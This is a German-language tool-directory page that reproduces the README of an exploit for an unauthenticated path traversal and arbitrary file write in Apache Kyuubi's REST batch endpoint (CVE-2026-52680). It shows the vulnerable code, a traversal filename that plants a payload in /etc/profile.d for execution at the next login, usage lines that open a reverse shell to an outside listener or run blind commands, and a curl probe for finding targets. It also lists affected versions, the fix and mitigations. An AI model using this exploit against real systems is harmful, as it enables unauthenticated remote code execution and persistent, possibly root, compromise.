Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-52680_exploit — Exploit für Apache Kyuubi Path Traversal (CVE-2026-52680), der nicht authentifiziertes Schreiben beliebiger Dateien und Codeausführung über profile.d-Shellskripte ermöglicht. | Kitploit
Tools/GitHubGitHub/0xdak/cve-2026-52680_exploit
Payload-GenerierungPersistenzmechanismenExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

Exploit für Apache Kyuubi Path Traversal (CVE-2026-52680), der nicht authentifiziertes Schreiben beliebiger Dateien und Codeausführung über profile.d-Shellskripte ermöglicht.

Repository anzeigen
vor 17 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-52680 — Apache Kyuubi REST Batch: Beliebiges Dateischreiben durch Pfad-Traversal

Nicht authentifiziertes beliebiges Dateischreiben in der Apache Kyuubi-REST-API über den Multipart-Batch-Submission-Endpunkt.

POST /api/v1/batches (multipart/form-data) schreibt den resourceFile-Teil mit dem vom Client gelieferten Dateinamen und ohne Pfad-Traversal-Prüfung in $KYUUBI_HOME/work/upload/<batchId>/ (kyuubi-common Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

Ein ../-Dateiname verlässt das Upload-Verzeichnis → beliebiges Dateischreiben in beliebige Verzeichnisse (CWE-22) als Benutzer des Kyuubi-Prozesses. Kyuubi wird standardmäßig mit kyuubi.authentication=NONE ausgeliefert, daher ist der Endpunkt nicht authentifiziert.

  • Betroffen: Apache Kyuubi 1.7.0 – 1.11.1
  • Behoben: 1.12.0 (fügt die Containment-Prüfung filePath.normalize().startsWith(dir.normalize()) hinzu)
  • Standard-Port: 10099 (REST-Frontend, nicht authentifiziert bei authentication=NONE)
  • CWE: 22 (Path Traversal) / 73 (External Control of File Name or Path)
  • Auswirkungen: beliebiges Dateischreiben als Benutzer des Kyuubi-Prozesses → RCE

Wichtige Einschränkung — der Basisname wird verstümmelt

writeToTempFile fügt vor der Erweiterung -<yyyyMMddHHmmss>-<counter> ein, sodass du das Ziel-Verzeichnis, die Erweiterung und den Inhalt kontrollierst, aber nicht den exakten Basisnamen. Das verhindert Überschreibungen mit exaktem Namen (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — ziele stattdessen auf einen Ort, der per Glob ausgeführt wird.

Dieser Exploit legt /etc/profile.d/pwn.sh ab → gespeichert als /etc/profile.d/pwn-<ts>-<n>.sh, was weiterhin auf /etc/profile.d/*.sh passt und von jeder Login-Shell gesourcet wird (kein Ausführungsbit erforderlich). Es läuft als der Benutzer, der eine Login-Shell öffnet — root, wenn Kyuubi als root läuft und ein Root-Login erfolgt (z. B. ssh root@host, su -, ein Cron-bash -lc).

Voraussetzungen

Nur die Python-3-Standardbibliothek — keine Abhängigkeiten.

Verwendung

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

Der Upload liefert HTTP 500 (Error opening batch session), wenn kein Spark-Backend vorhanden ist — das ist erwartet und harmlos: Die Datei wird bevor der Batch gestartet würde geschrieben.

So funktioniert es

Zwei Multipart-Teile:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — ein minimal gültiges BatchRequest, damit die Validierung durchläuft und die Upload-Logik erreicht wird.
  2. resourceFile, Dateiname ../../../../../../etc/profile.d/pwn.sh, Inhalt = die Payload. Kyuubi schreibt sie (mit verstümmeltem Basisnamen) nach /etc/profile.d/pwn-<ts>-<n>.sh.

Eine Login-Shell sourcet dann /etc/profile.d/*.sh und führt die Payload aus.

Ziel identifizieren

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

Ein Kyuubi-REST-Frontend auf Port 10099 mit authentication=NONE ist angreifbar.

Gegenmaßnahmen

Aktualisiere Apache Kyuubi auf ≥ 1.12.0, aktiviere die Authentifizierung (kyuubi.authentication), setze das REST-Gateway niemals nicht vertrauenswürdigen Netzwerken aus und führe Kyuubi nicht als root aus.

Haftungsausschluss

Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche Testerlaubnis hast.

Tool herunterladen